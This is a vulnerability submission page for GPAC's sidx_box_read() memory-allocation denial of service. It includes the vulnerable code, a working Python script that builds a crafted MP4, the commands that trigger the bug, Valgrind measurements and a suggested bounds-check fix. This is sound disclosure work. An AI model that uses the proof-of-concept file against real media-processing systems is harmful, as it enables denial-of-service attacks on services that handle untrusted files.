Soumettre #808611: gpac latest Denial of Service (DoS)information

Titregpac latest Denial of Service (DoS)
DescriptionSummary sidx_box_read() reads nb_refs (a 16-bit field, max 65 535) directly from the file stream and immediately calls gf_malloc(sizeof(GF_SIDXReference) * nb_refs) without first verifying that the box contains enough bytes to hold that many entries. A crafted sidx box declaring nb_refs = 0xFFFF with no actual reference data causes GPAC to allocate ~1.5 MB per invocation before the error is detected. Confirmed by Valgrind heap profiling: Scenario Total heap allocated Peak RSS Normal sidx (nb_refs = 0) 175 583 bytes ~3 MB Malicious sidx (nb_refs = 65535, no data) 1 748 129 bytes ~100 MB Difference +1 572 546 bytes (~1.5 MB) +97 MB Theoretical: 65 535 × 24 bytes = 1 572 840 bytes. Measured delta: 1 572 546 bytes (error < 0.02%). Vulnerable Code // src/isomedia/box_code_base.c — sidx_box_read() ptr->nb_refs = gf_bs_read_u16(bs); // ← attacker-controlled, max 65535 // ❌ NO BOUNDS CHECK — malloc fires before any size validation ptr->refs = gf_malloc(sizeof(GF_SIDXReference) * ptr->nb_refs); if (!ptr->refs) return GF_OUT_OF_MEM; for (i = 0; i < ptr->nb_refs; i++) { // ... read fields ... ISOM_DECREASE_SIZE(ptr, 12); // ← validation is INSIDE the loop, AFTER malloc } GF_SIDXReference is 24 bytes on x86-64 (Bool fields are enum-sized = 4 bytes each). Comparison with Secure Pattern GPAC correctly guards the same pattern in co64_box_read(): // co64_box_read() — box_code_base.c ~line 48 — CORRECT ptr->nb_entries = gf_bs_read_u32(bs); ISOM_DECREASE_SIZE(ptr, 4); // ✅ pre-allocation bounds check if ((u64)ptr->nb_entries > ptr->size / 8 || (u64)ptr->nb_entries > (u64)SIZE_MAX / sizeof(u64)) { GF_LOG(GF_LOG_ERROR, GF_LOG_CONTAINER, ("[iso file] Invalid number of entries %d in co64\n", ptr->nb_entries)); return GF_ISOM_INVALID_FILE; } ptr->offsets = gf_malloc(ptr->nb_entries * sizeof(u64)); sidx_box_read() is missing the equivalent check. The same pattern is also present in stsc_box_read, stco_box_read, and stts_box_read. Steps to Reproduce 1. Generate the PoC file Save the following as poc_sidx.py and run it: #!/usr/bin/env python3 import struct def u8(v): return struct.pack('>B', v & 0xFF) def u16be(v): return struct.pack('>H', v & 0xFFFF) def u32be(v): return struct.pack('>I', v & 0xFFFFFFFF) def box(t, payload): t = t.encode() if isinstance(t, str) else t return struct.pack('>I', 8 + len(payload)) + t + payload def fullbox_hdr(ver=0, flags=0): return bytes([ver]) + struct.pack('>I', flags)[1:] # ftyp ftyp = box('ftyp', b'isom' + u32be(0x200) + b'isom' + b'iso2') # malicious sidx: nb_refs=65535, zero actual reference data sidx_payload = ( fullbox_hdr(0, 0) + u32be(1) + # reference_ID u32be(1000) + # timescale u32be(0) + # earliest_presentation_time (version=0, 4 bytes) u32be(0) + # first_offset (version=0, 4 bytes) u16be(0) + # reserved u16be(0xFFFF) # nb_refs = 65535 ← triggers ~1.5 MB malloc # no reference entries follow ) sidx = box('sidx', sidx_payload) # minimal moov mvhd_payload = ( fullbox_hdr(0, 0) + u32be(0)*2 + u32be(1000) + u32be(0) + u32be(0x00010000) + u16be(0x0100) + b'\x00'*10 + u32be(0x00010000) + u32be(0)*2 + u32be(0) + u32be(0x00010000) + u32be(0)*2 + u32be(0x40000000) + b'\x00'*24 + u32be(2) ) moov = box('moov', box('mvhd', mvhd_payload)) with open('poc_sidx_alloc.mp4', 'wb') as f: f.write(ftyp + sidx + moov) print(f"Written {len(ftyp + sidx + moov)} bytes -> poc_sidx_alloc.mp4") python3 poc_sidx.py # Output: Written 168 bytes -> poc_sidx_alloc.mp4 2. Trigger MP4Box -info poc_sidx_alloc.mp4 Output: [isom] not enough bytes in box sidx: 0 left, reading 12 (file isomedia/box_code_base.c, line 9527) - try specifying -no-check (might crash) [iso file] Read Box "sidx" (start 24) failed (Invalid IsoMedia File) - skipping Error opening file poc_sidx_alloc.mp4: Invalid IsoMedia File The error fires at line 9527 — inside the loop body — proving gf_malloc already executed before the size check. 3. Confirm heap amplification (Valgrind) # requires a non-ASAN build valgrind --leak-check=full MP4Box -info poc_sidx_alloc.mp4 2>&1 Output: ==PID== HEAP SUMMARY: ==PID== in use at exit: 0 bytes in 0 blocks ==PID== total heap usage: 290 allocs, 290 frees, 1,748,129 bytes allocated ==PID== ==PID== All heap blocks were freed -- no leaks are possible Compare with a normal sidx (nb_refs=0): 175 583 bytes total. Delta = 1 572 546 bytes ≈ 65 535 × 24 bytes. Impact Memory amplification: 172-byte file → ~1.5 MB allocation (×9 160 ratio). DoS in constrained environments: embedded/IoT devices, automated transcoding pipelines, CDN nodes processing untrusted files. Concurrent amplification: 1 000 parallel requests → ~1.5 GB transient allocation. No persistent leak: sidx_box_del() correctly frees ptr->refs on the error path. The risk is the amplified transient allocation. Suggested Fix Add a pre-allocation bounds check immediately after reading nb_refs, mirroring co64_box_read: // src/isomedia/box_code_base.c — sidx_box_read() // Add after: ptr->nb_refs = gf_bs_read_u16(bs); if ((u64)ptr->nb_refs > ptr->size / 12 || (u64)ptr->nb_refs > (u64)SIZE_MAX / sizeof(GF_SIDXReference)) { GF_LOG(GF_LOG_ERROR, GF_LOG_CONTAINER, ("[iso file] Invalid number of references %u in sidx\n", ptr->nb_refs)); return GF_ISOM_INVALID_FILE; } // then: ptr->refs = gf_malloc(sizeof(GF_SIDXReference) * ptr->nb_refs); Each reference entry is 12 bytes on the wire (1+31+32+1+3+28 bits), so ptr->size / 12 is the maximum number of entries the remaining box bytes can hold. After the fix, the malicious file produces: [iso file] Invalid number of references 65535 in sidx Error opening file poc_sidx_alloc.mp4: Invalid IsoMedia File with no oversized allocation. References CWE-770: Allocation of Resources Without Limits or Throttling ISO/IEC 14496-12 §8.16.3 (Segment Index Box) Secure pattern: co64_box_read, stsc_box_read, stco_box_read, stts_box_read in box_code_base.c
La source⚠️ https://github.com/gpac/gpac/issues/3519
Utilisateur
 Lucian-2333 (UID 97209)
Soumission21/04/2026 02:38 (il y a 1 mois)
Modérer07/05/2026 19:08 (17 days later)
StatutAccepté
Entrée VulDB361914 [GPAC jusqu’à 26.02.0 box_code_base.c sidx_box_read déni de service]
Points20

Do you need the next level of professionalism?

Upgrade your account now!